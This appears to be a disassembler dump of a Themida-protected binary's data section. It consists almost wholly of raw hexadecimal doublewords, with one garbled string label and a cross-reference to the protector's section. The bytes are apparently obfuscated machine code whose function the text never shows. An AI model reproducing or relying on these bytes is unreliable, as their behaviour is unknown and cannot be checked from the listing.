		dd 28BB5A5h, 1FC19531h,	335F0610h, 10063D9Dh, 7C08306h
		dd 1FD9D8Bh, 0C0830610h, 0F7CB8100h, 3B6F7492h,	12830FD0h
		dd 0F8000000h, 20159D8Bh, 36E90610h, 29000000h,	1029A9BDh
		dd 0A58D8B06h, 6606100Bh, 0E183F98Bh, 1E840F01h, 23000000h
		dd 1005859Dh, 0A5A58306h, 0FE06100Bh, 89F9B70Fh, 102D4995h
		dd 0A0EB8006h, 0E9h, 86B58D00h,	0F06141Dh, 688h, 0A98D8900h
		dd 6A061014h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 1ED78047h, 31C995FFh, 9D8B0610h
		dd 610010Dh, 8B2B9h, 83D88A00h,	6AFCE1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C3479AC3h
		dd 5B2D98AEh, 0B818589h, 0FFC0610h, 58Ch, 63FFBB00h, 0C02B6877h
		dd 14E9h, 0DFA21D00h, 63D7420Eh, 0EA206C95h, 51A88CF8h
		dd 0B0EB8191h, 0BA9Bh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 2B5F03C3h, 1F5D1B0Bh
		dd 8B0F92EDh, 2Ah, 0BE8h, 3A045F00h, 0AA9F0D28h
		dd 80AE1BE6h, 14E9h, 81270C00h,	9791EFA1h, 0CF306183h
		dd 13F429A2h, 0ECFEEC41h, 33AD5B8Dh, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 1A0208C3h, 0D8B70FF2h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0D7815023h, 3D50B534h, 0F5958B5Fh, 66061009h, 8D8BF88Bh
		dd 6102319h, 0C28B50F5h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6658188Bh, 3E55CB81h, 6ADFB70Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C059C356h
		dd 0A58589DFh, 8B061031h, 102265BDh, 29BD8306h,	6101Eh
		dd 8E840Fh, 810F0000h, 3, 0B8FEBF0Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 57C35242h
		dd 9BD8974h, 8B061005h,	100955BDh, 858D8D06h, 0BF06104Eh
		dd 501D8755h, 8E9h, 0CD2A3D00h,	8329CB63h, 6AE1FF53h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8D43C351h, 2146C2C9h, 10E9F0B4h, 0A5000000h,	2CD23DDBh
		dd 4A1CDDAFh, 3C18D99Ah, 0BF8930CBh, 66ECFA9Ah,	22C1BD83h
		dd 0F000610h, 45284h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 17005B99h, 30F0C91Bh
		dd 11E924h, 0E80F0000h,	488595B2h, 0A0AA89CDh, 9F7AF4CAh
		dd 832A5271h, 1022C1BDh, 840F0106h, 426h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 14C35646h, 3AB217D1h
		dd 5830Fh, 81660000h, 83A00DCFh, 1022C1BDh, 860F0306h
		dd 3B8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	64C35646h, 0D6F380CDh, 51006A60h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0E579947Ch
		dd 0EF083899h, 0D98C667Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 82C35242h, 0BB21DA25h, 269AA6F0h, 6A04E180h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F96C355h, 0C90AD8BFh, 137840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 860F45C3h, 3, 8B3BEB80h, 10218585h, 0FEBF0F06h, 11FD8533h
		dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0BAE66BC3h, 893F3210h, 10105DBDh,	0F98B5006h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C353C351h, 0DEDAA05Ah, 6ADC86h
		dd 0BE9h, 0C0CD8900h, 0B28E71C3h, 9E2E9ECBh, 4E8h, 1F03FF00h
		dd 0FEBB5000h, 8B1B733Eh, 0BF042444h, 37C160D6h, 0BF66008Bh
		dd 448976FCh, 5B520424h, 8B0F58h, 0FF000000h, 1005D595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 893F8CFDh, 13C26D85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E3D1C8A0h
		dd 15DD7E1Dh, 51858935h, 0E9061005h, 1B3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 65858BF8h
		dd 6A0613C2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 48B5C357h, 1800C79Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 69FCC351h, 519D8BF6h, 8B061023h, 13C269B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0A98D2955h, 8B061009h, 100E2585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 6892433h, 31319D29h,	858B0610h, 6102185h, 4689FA8Bh
		dd 55BD8B04h, 96061002h, 79DB05BFh, 196500Ah, 101101B5h
		dd 65B5FF06h, 680613C2h, 0ED10937Eh, 81240481h,	6A130E70h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4595C357h, 34CDB5EFh, 33B809EDh, 100FE59Dh
		dd 6D858D06h, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 7306C356h, 0AE82EFCh
		dd 48000000h, 66AB969Dh, 8ECFCC34h, 2DBD2B20h, 5B061000h
		dd 6650F88Bh, 489FE8Bh,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 31C4B9ADh, 0F111661h
		dd 684h, 99BD0300h, 0BF06102Eh,	46A0295Bh, 5D595FFh, 11E80610h
		dd 0D4000000h, 1B15A370h, 3C7276F7h, 94657D65h,	0F922BCE0h
		dd 239BD89h, 615F0610h,	5DD9531h, 85C70610h, 61022C1h
		dd 3, 1135BD8Bh, 0BD830610h, 613C26Dh, 31840F00h, 51000000h
		dd 94DBD8Bh, 0E95B0610h, 3Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DDC35343h,	8354E783h, 0F9096CCCh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0B7C08B00h
		dd 50006A70h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 7F248539h, 503BC5B7h, 149EBB66h,	22C1BD83h
		dd 0F030610h, 40185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 29566057h, 4B932860h
		dd 0FDD78166h, 6DBD83EAh, 613C2h, 3CC840Fh, 9E90000h, 7E000000h
		dd 0C5F2C016h, 0B5E29208h, 0C26DB5FFh, 8D290613h, 61013CDh
		dd 2A3D8D09h, 95FF0610h, 6102FA5h, 0C261B58Bh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 2FF96FC3h, 8C2618D3h, 12E895BEh, 6F000000h, 0D189226Ch
		dd 0A1F224B2h, 5CBCBA7Ah, 854FA703h, 5DBD8B7Ah,	5F06101Eh
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 51B75BC3h, 85897B26h, 6100FB5h
		dd 52505750h, 0BB66310Fh, 585A9591h, 2434895Fh,	0BE9h
		dd 49742000h, 7151086Ah, 8FDDC84Ch, 0C26DB5FFh,	8B660613h
		dd 2595FFD9h, 6A061012h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6415C351h, 4A7B3FE7h
		dd 0B387878Fh, 61B58B1Fh, 6A0613C2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 13BDC355h
		dd 6B39CD78h, 2B67A3BAh, 102AAD9Dh, 0D1858B06h,	89061021h
		dd 1021599Dh, 81666006h, 0E8AB6ACAh, 0Eh, 0BC6117D6h, 612F972Dh
		dd 0E392DB24h, 850F2414h, 0
aYaij		db 'Ya䠀',0
		align 4
		dd 21C5B529h, 958B0610h, 61009F5h, 0C283F98Bh, 0FD9D8B04h
		dd 8906100Bh, 0AE92050h, 36000000h, 2A589678h, 0A2100A1Ah
		dd 0C2858D94h, 890613D7h, 1009F985h, 0B59D0906h, 8906100Dh
		dd 0B886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 4A2F3AE5h, 10E90Bh, 9DFD0000h, 0B39B1B39h
		dd 27962158h, 0CBEFBBBBh, 8B66F7C5h, 89006AD8h,	1015A9BDh
		dd 6DB5FF06h, 6A0613C2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0B266C357h,	78DF7C53h
		dd 8B66F2F9h, 9595FFD9h, 6A061004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 281AC356h
		dd 6743B5EDh, 0E8865B67h, 0Eh, 2903DE61h, 489A33ABh, 0B964B798h
		dd 9D8BE4ADh, 6102D91h,	0AD9D8B5Bh, 50061006h, 3489FA8Ah
		dd 0B6B86024h, 8B460255h, 1031C595h, 0B5FF6106h, 613C26Dh
		dd 0FFDF8B66h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D62EBF27h
		dd 0BD8356C6h, 6101351h, 39840F00h, 0F000000h, 0E781DBBFh
		dd 46B40A15h, 50E9B796h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0B23EE046h, 1FD9D8Bh
		dd 9D230610h, 6100A49h,	0C26DB5FFh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 6D9AC6C3h
		dd 0E04732Eh, 9D8BBA59h, 61027C1h, 1F71B589h, 95FF0610h
		dd 6100C19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	99C35545h, 78E3569Ah, 9BAB3BDh,	101D0D9Dh, 0F8BF6606h
		dd 6DB5FF18h, 10613C2h,	1009B995h, 2195FF06h, 0BB061016h
		dd 14175268h, 0F89BD83h, 0F020610h, 3984h, 60DA8B00h, 8B92D480h
		dd 858B61D3h, 61010C5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0CBC35747h, 8B66C5DEh, 0C6DFh, 8B1BD89h
		dd 85C70610h, 6102A25h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 28C35040h
		dd 8BD09620h, 0F1B531DFh, 0F06100Fh, 9FE9FEB7h,	6AFFFFF3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 94FCC357h, 0CDBD0B60h, 61061031h,	6AC18Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0BBDC62C3h, 0BD8B481Eh, 6100225h, 0F98D29h, 0EE90610h
		dd 99000000h, 2528CFh, 2 dup(0)
		dd 57BE900h, 17B70000h,	2BE158D4h, 0CC138F4h, 2BE057D3h
		dd 9BB3AEEh, 0EC180ECAh, 0CF8BCA7Eh, 0E864A548h, 0C682BD71h
		dd 0E763984Fh, 0B111F804h, 556BD8D1h, 7932CC58h, 97395044h
		dd 0AE55E458h, 550E8D79h, 0AF557420h, 0D2F18C78h, 439F233h
		dd 0AD1514EAh, 496DCC7Ch, 20F400EDh, 0AA9BBA67h, 363709CDh
		dd 5DC91A92h, 69F20706h, 47CE8AC5h, 689668A3h, 0CC6301C1h
		dd 7489E56Dh, 317213B2h, 0ABE69C1Fh, 0A05E7BF7h, 3DE47B36h
		dd 0CC0EB389h, 466EFEF1h, 463A1647h, 0C35206EAh, 6C3BE71Ch
		dd 6DCC15D3h, 29CC6354h, 336ACCE8h, 0F32CE158h,	0FFA423FFh
		dd 7552CEC2h, 76D3h, 0A9D73900h, 4E427B32h, 7C9F23D2h
		dd 0FB776DCCh, 79AE55DEh, 7C66DE8Dh, 18A76DCCh,	88835D79h
		dd 6DCC7C3Ah, 21A188DAh, 0C56DCC7Ch, 0A7708D69h, 336B3666h
		dd 146h, 7A328400h, 16DA453Ah, 0E4B184h, 45441A14h, 6DCCBFFDh
		dd 73401D19h, 0F5C496CDh, 5611552h, 0BB679E46h,	0E5E4A2B7h
		dd 5E110542h, 5B903702h, 1F069D7Eh, 0FF763269h,	96D37848h
		dd 3268FEBAh, 34533F7Eh, 0ECA1558Ch, 57F938D7h,	0F198C97Dh
		dd 6DCC7C51h, 0B99DB9B5h, 98CD7605h, 82E385C6h,	0C45DA07Ch
		dd 29E0F7A7h, 205304F0h, 6A996481h, 5209336Ah, 0E7895E9Fh
		dd 93h,	497E3225h, 0CC7CE062h, 4C28046Dh, 538C4158h, 8E700C9Fh
		dd 0CC7C279Bh, 8663BF6Dh, 75171EB5h, 0EF952436h, 432F681Dh
		dd 70E603DFh, 0DE15CB8Eh, 0A2192E32h, 1E9DAFEEh, 6C1A2F66h
		dd 637DBA6Dh, 0F0276F6Ah, 0C28EC0C9h, 3FB5A260h, 0C2802B8Ch
		dd 226DCC99h, 514D2A46h, 11D46B08h, 336A4ED0h, 4DB0h, 7E321A00h
		dd 58532D3Fh, 6DCC7CEAh, 8E4C050Ah, 15674707h, 106A1C31h
		dd 0B86CA349h, 6E149FBCh, 0D36C3F33h, 1453F53Ch, 8FCC7F3Ah
		dd 326604BAh, 0E45E4D7Ah, 6DCC7Ch, 5544024h, 6DCC7CB8h
		dd 44A1407Fh, 336B3569h, 149h, 0A9D7C300h, 0CC7C4002h
		dd 0B3C8A46Dh, 0FCAD8128h, 876BC7BBh, 83DE675h,	4343181Ch
		dd 0BA669B44h, 792D661Bh, 33D6AC62h, 0B022CEF2h, 0F45E6201h
		dd 0CA7FA63Dh, 31C81D91h, 30D9D0AAh, 0B467FC06h, 0A943B2B7h
		dd 0F6D36E89h, 5D7C2804h, 3EBD71A6h, 55F14785h,	4B201966h
		dd 942C7B27h, 0A5942304h, 0B8CFC304h, 3B20D415h, 6CF07D63h
		dd 0B34EF85Eh, 431DB01Ch, 0E094D578h, 0E423C584h, 949D3407h
		dd 79C9C0EBh, 9D9423CCh, 5729A5C1h, 0D1A6DB84h,	522C610Ah
		dd 0CCC57D2Ch, 45219423h, 0A85F7628h, 0B9CA7F73h, 2F641B1Ah
		dd 751AA17Bh, 915C2338h, 71397B85h, 180h, 0DA17CC8Fh, 972D4A26h
		dd 8BC4A9D7h, 0E758C881h, 46AD1504h, 0ED496DCCh, 75666D10h
		dd 2173725Bh, 0C44097E4h, 93B872A4h, 0AECB3995h, 7F25B4CAh
		dd 43783348h, 0A367FC6Bh, 3BCDBC7h, 7B578C33h, 5A8F38BFh
		dd 6005D4A6h, 0BDFCB027h, 0C3906DC9h, 5E3BE71Ch, 0C87FA63Dh
		dd 0E4A7B993h, 943C5F5Eh, 199DBAB6h, 7B128B66h,	8D40FB39h
		dd 23E6584Ch, 943C6B9Fh, 2D7FB77h, 4B4Eh, 42E97000h, 401D190Dh
		dd 1AC15C64h, 7CD94940h, 86FDEDCCh, 72EEA2E3h, 4FF3A24Eh
		dd 70EDCC7Ch, 1B30CFh, 5ECC01DBh, 0BF6CF987h, 9DBB0702h
		dd 0FF5BEDCCh, 37F206E3h, 6DCC9DABh, 0F57AC64Bh, 0EBFE71E1h
		dd 0B9D25307h, 2A000000h, 4328BD5Ch, 9B6CF0EFh,	68DAC1EEh
		dd 8C6DCC26h, 0EF9AB490h, 67FC568Ah, 2661057Ch,	26DAF67Ah
		dd 0B5001754h, 60DF6D57h, 0A08470A9h, 685C97C4h, 7C54E403h
		dd 0F62BD45Fh, 0D70CB342h, 0E68A512Bh, 6277FBA7h, 3CD31EA9h
		dd 0D76E5594h, 0EC60954Eh, 65A64712h, 0FDDEF588h, 42628E3h
		dd 0FDBC9E08h, 49390E49h, 0E9A239EDh, 7C77CBBEh, 8A8F9E10h
		dd 9E8376D4h, 2BAAC613h, 0EB473B78h, 49F8F507h,	8CC57C93h
		dd 43E6255Fh, 22C08229h, 48249E10h, 0D2617333h,	0DEFD1C33h
		dd 91F9F20Ch, 97DDC27Fh, 0E118D087h, 6F1C3135h,	9424A16Fh
		dd 5CE6A597h, 0B8800B27h, 862498BCh, 0CD15BD5Ch, 10EA8648h
		dd 5A84567Ah, 0FF3D8584h, 5DD96DCCh, 2EE27DEh, 5C62491Eh
		dd 6867F82Ah, 0CA81180Ch, 74471995h, 1752F8CEh,	0EEB076Bh
		dd 0BD699E45h, 7B2EB6EEh, 0A7E487FBh, 0EA27DCFBh, 927EB56Bh
		dd 2551F198h, 0B9B5BB63h, 6E52F192h, 0C46D049Bh, 0E372E61Bh
		dd 0BF5073Ch, 6325A220h, 11E642BBh, 94D17615h, 0A43BF6E0h
		dd 0A988C67Dh, 78CAC1FBh, 9CBB633Ah, 50409BC0h,	0B79BDC8Dh
		dd 0EF981F9Bh, 8DDC6BAh, 0E3000000h, 5875B458h,	326D5FCCh
		dd 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh
		dd 26A55190h, 39504481h, 30A75B94h, 0CF554178h,	81E38953h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 3C685C24h, 8900006Fh
		dd 0EC682434h, 8900002Dh, 7B68243Ch, 8B0614ADh,	0C4812434h
		dd 4, 243C8B54h, 4C481h, 50560000h, 260022B8h, 24443174h
		dd 478F5804h, 8778108h,	74260022h, 5F2434FFh, 0FF04C483h
		dd 815E2434h, 4C4h, 0CD7EE900h,	47B7FFFBh, 2D20E5D6h, 0B285B833h
		dd 0C5030614h, 78A9E0FFh, 57C377ECh, 8A2828ECh,	0CD7C39F5h
		dd 6F423CFCh, 52ED0647h, 77970092h, 71EF1E28h, 11B753E0h
		dd 0CB35205Dh, 0EB5309EDh, 7B296ADDh, 4F5B06B7h, 9AF02B31h
		dd 3B3235A1h, 858D4054h, 61013B9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 84C35343h, 0E5742C11h, 8A90ABD6h
		dd 0FA8A50D9h, 51006A90h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0B843F847h, 698C174h
		dd 0BD8BFA30h, 6100909h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0BA58C6C3h, 0FE91D12h
		dd 0A4000000h, 0B234DCF5h, 9204F709h, 3BF22626h, 6ABD97h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1EC35646h
		dd 28859D8Bh, 858D0610h, 614B586h, 7832BF66h, 6A05C083h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 4C0BC357h, 5090FCCAh, 13E952h, 0F3F70000h
		dd 0A1E2D6Dh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0B3310F39h
		dd 50585A46h, 0EE8h, 44386500h,	0A0690E54h, 7D014D13h
		dd 508307E9h, 0FFA8A52h, 5B585A31h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0A01546BEh
		dd 0D6F78166h, 8B006A3Ch, 102FE19Dh, 0F006A06h,	95FFFBBFh
		dd 6101D19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	7BC35343h, 36C3EF2h, 8BAC9837h,	102D019Dh, 0D88D8D06h
		dd 6A0613AFh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 4AEBC357h, 0D4FD301Fh,	0DE96FD3h
		dd 44000000h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD89D1FFh
		dd 6101471h, 2209BD83h,	0F010610h, 7C85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0CB8075A2h, 8B026AC9h, 0D98589F8h, 90061001h, 0FE8h
		dd 8B8F9E00h, 56A54C3Ch, 147601A4h, 0FFA17A9h, 0DE8h, 0ECD30300h
		dd 70CA5410h, 78376319h, 0C4BFE9E1h, 5F65384Ah,	0EE9505Bh
		dd 7000000h, 0C8368563h, 0A6EF2097h, 0C6DC9F6Fh
		dd 0BF0F905Ah, 9595FFFFh, 81061004h, 0C60E73DFh, 0ECDE952h
		db 2 dup(0)
word_5969F6	dw 0E8h			; DATA XREF: Themida_:0054E59Co
		dd 5D000000h, 0B590ED81h, 85890614h, 6103131h, 4CC38166h
		dd 219D0143h, 8D06100Ch, 1399B685h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0CD715E7h
		dd 11E84Fh, 7A0B0000h, 0C0D249ECh, 120AACDEh, 3662C28Dh
		dd 890CB38Fh, 100779BDh, 0BF905F06h, 7298998Fh,	0A5BB6650h
		dd 6A90BDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B529E4C3h, 6100E79h, 56B6BF66h, 35FF64h
		dd 80000000h, 896492C7h, 25h, 0B516000h, 101D318Dh, 13E95F06h
		dd 3C000000h, 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h
		dd 0FF61029Ch, 10141985h, 15BD8906h, 6A061019h,	17860FFFh
		dd 0F000000h, 1184h, 0CE900h, 96330000h, 0FBD675F1h, 0D5B40441h
		dd 0B5FFECF0h, 61004E9h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 19C35343h, 13830F08h,	0E9000000h, 0Eh
		dd 52A0A2A4h, 6E473FA3h, 6A9C5DDh, 0B5897BF7h, 6100491h
		dd 61595FFh, 0F3E90610h, 0BF000000h, 166BE529h,	7E900B0h
		dd 34000000h, 0E5B0B5C8h, 70E61B1Ah, 1CA59D2Bh,	71E40610h
		dd 0DBD3BF66h, 830F613Ch, 0CAh,	850FB5B3h, 1, 0C8B60FF5h
		dd 18D9BD89h, 6BA0610h,	89000000h, 1009B19Dh, 60C18B06h
		dd 2079BD01h, 0DE90610h, 83000000h, 0B4F4AC50h,	0F541DAC5h
		dd 5DA0D377h, 4E8C161h,	0ECCCBF66h, 66E2F766h, 0FAA7EB81h
		dd 9D89C82Bh, 6102795h,	8BDAB70Fh, 4820FD1h, 66000000h
		dd 0E9EDCBBFh, 2, 858B05B7h, 6100069h, 83DE8B66h, 0C08307C0h
		dd 0FD03B00h, 1383h, 0E9EEB700h, 46h, 3139BD8Bh, 85890610h
		dd 6102EE9h, 418D8Bh, 0BD8B0610h, 6102A31h, 0F01E183h
		dd 2584h, 3A8EBF00h, 0A5830316h, 6100041h, 0FFBF0FFEh
		dd 699589h, 6E90610h, 44000000h, 0BF71625Fh, 0E9D3h, 0B58D0000h
		dd 61427DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0B1C35747h, 6C4275C5h, 27CB2127h, 23006A96h, 1015A1BDh
		dd 0C995FF06h, 6A061031h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 408C355h, 0AC97F48Dh
		dd 5E9h, 5CED9900h, 13B95BC2h, 8B000008h, 100C51BDh, 0FCE18306h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 97C35242h
		dd 81ECF231h, 8048A038h, 6AFC2ADFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 530EC355h
		dd 0C8C5B238h, 0B7B719DCh, 0B8A3h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7E1644C3h
		dd 0EF981000h, 31FABF0Fh, 1006D9B5h, 6AD22B06h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0ADD7C353h, 0E8D1C233h, 0E983D003h, 29F47504h, 100CA98Dh
		dd 5BD8B06h, 8A06100Fh,	880DDCh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F50CCC3h
		dd 631CC41Eh, 0F9D46388h, 9F5958Bh, 11E80610h, 0D1000000h
		dd 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh, 8B5FC6B3h
		dd 1023198Dh, 79EF8006h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 5F575818h, 51D9D03h, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E59ACEC3h
		dd 5EF171BCh, 83B3B5DDh, 101E29BDh, 840F0006h, 3Ch, 10C19D8Bh
		dd 0B80610h, 8D000000h,	104E858Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 611DCCA2h
		dd 0A7C5FBCAh, 56E1FF91h, 5BF8B70Fh, 22C1BD83h,	0F000610h
		dd 51984h, 0D0C78100h, 0BF59B0D7h, 6D0C627Eh, 22C1BD83h
		dd 0F010610h, 51C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0DDAD28DAh, 0C1BD8302h
		dd 3061022h, 4B9860Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 17698FC3h, 1F16B7BAh
		dd 68BF8A2Ch, 600F2EECh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0E4C35040h, 89D98C66h, 1006D995h, 4E18006h
		dd 7E9h, 79B36A00h, 0D17227Ah, 840FC90Ah, 168h,	11E8h
		dd 0D9ECEA00h, 0CDBC012Ah, 679BDFD5h, 86D45A8Fh, 0B70F597Ah
		dd 858B5BD8h, 6102185h,	11FD8533h, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C30A7FC3h
		dd 2C4C9543h, 5290F521h, 505FDA8Ah, 714BEDBFh, 6A907Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 7127BCC3h, 72C3EBCAh, 29AA99C7h, 10131D8Dh, 0BF0F5206h
		dd 6A5FDAh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	47C35242h, 63FC1642h, 0E30EEEA8h, 0C99D8970h, 0E8061018h
		dd 4, 1F03FFh, 5650FA8Bh, 12E9h, 41543D00h, 1A606B2Fh
		dd 0DD851848h, 712CBCAAh, 5FA173C1h, 424448Bh, 8B65B3h
		dd 4741BB66h, 4244489h,	0F88B5250h, 585A310Fh, 158D8958h
		dd 0FF061008h, 1005D595h, 259D0106h, 89061016h,	13C26D85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FB8B6014h, 6810Fh, 0B5890000h, 6101F85h
		dd 71950161h, 0E9061007h, 25Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0A4C35545h,	9EBACC11h, 0F9858957h
		dd 5B061009h, 0C265858Bh, 0F560613h, 68Ah, 0D9D8900h, 5B06100Eh
		dd 1800C7h, 0BE90000h, 0C3000000h, 0CB777D2Fh, 7DB32EADh
		dd 0B58B66D3h, 613C269h, 25858BF8h, 6A06100Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A42BC350h, 29641B84h, 1005A585h, 6A068906h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0EAC8C357h, 0DECF1CD0h, 1A1397E1h, 56E4BF66h, 2185858Bh
		dd 9D890610h, 6101AC5h,	7E8h, 99B7900h,	5B3892CEh, 5FFAB70Fh
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 8910C355h, 9D8B84F7h, 61022C5h
		dd 2AB9BD8Bh, 66500610h, 89EB13BFh, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CD8F70C3h
		dd 18E1BD23h, 0B5890610h, 6102F8Dh, 0C265B5FFh,	6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
